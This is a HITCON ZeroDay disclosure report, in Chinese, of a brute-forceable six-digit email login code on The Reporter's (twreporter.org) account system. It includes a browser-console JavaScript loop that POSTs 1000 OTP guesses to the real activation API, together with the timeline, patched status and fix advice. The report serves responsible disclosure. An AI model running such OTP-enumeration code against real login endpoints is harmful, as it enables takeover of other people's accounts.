報導者 登入驗證碼可暴力枚舉 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2024-00102
  •  發信 Vendor: 財團法人報導者文化基金會
  • Title: 報導者 登入驗證碼可暴力枚舉
  • Introduction: 登入驗證碼可暴力枚舉

處理狀態

目前狀態

公開
Last Update : 2024/05/09
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 未複測
  • 公開

處理歷程

  • 2024/02/27 17:36:17 : 新提交 (由 catding 更新此狀態)
  • 2024/02/27 20:19:19 : 新提交 (由 catding 更新此狀態)
  • 2024/02/28 21:57:18 : 新提交 (由 catding 更新此狀態)
  • 2024/03/03 15:12:14 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2024/03/07 15:45:07 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2024/03/07 15:45:17 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2024/03/12 17:57:12 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2024/03/12 17:57:12 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2024/04/28 03:00:05 : 公開 (由 HITCON ZeroDay 平台自動更新)
  • 2024/05/01 03:08:27 : 已修補 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2024/05/09 03:00:11 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2024-00102
  • 通報者:catding (catding)
  • 風險:高
  • 類型:存取控制缺陷 (Broken Access Control)

參考資料

攻擊者可經由該漏洞取得、修改、刪除系統中的其他使用者的資料,或連線至高權限使用者的頁面。

OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control

CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://accounts.twreporter.org/signin

敘述

登入時選擇"使用電子信箱",輸入並送出後會寄送六位數字的驗證碼至信箱,並可以此直接進行登入(無須再輸入密碼)
送出驗證碼時會呼叫以下API,其payload為email與驗證碼
https://go-api.twreporter.org/v3/auth/activate

但此API無rate limiting,也未限制嘗試次數
故僅需知道用戶email即可暴力枚舉驗證碼並登入

POC僅於約五秒內枚舉1000個不同驗證碼,未進行100萬個號碼的完整測試,以避免造成伺服器過大負擔
代碼如下,送出email後直接於console執行

for(i=736000;i<737000;i++){
    fetch("https://go-api.twreporter.org/v3/auth/activate", {
      "headers": {
        "accept": "application/json, text/plain, */*",
        "accept-language": "zh-TW,zh;q=0.9",
        "content-type": "application/json",
        "sec-ch-ua": "\"Not A(Brand\";v=\"99\", \"Google Chrome\";v=\"121\", \"Chromium\";v=\"121\"",
        "sec-ch-ua-mobile": "?0",
        "sec-ch-ua-platform": "\"Windows\"",
        "sec-fetch-dest": "empty",
        "sec-fetch-mode": "cors",
        "sec-fetch-site": "same-site"
      },
      "referrer": "https://accounts.twreporter.org/",
      "referrerPolicy": "strict-origin-when-cross-origin",
      "body": JSON.stringify({"email":"[email protected]","otp_code":i+""}),
      "method": "POST",
      "mode": "cors",
      "credentials": "include"
    });
}

修補建議

1.設定rate limit
2.限制嘗試次數

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;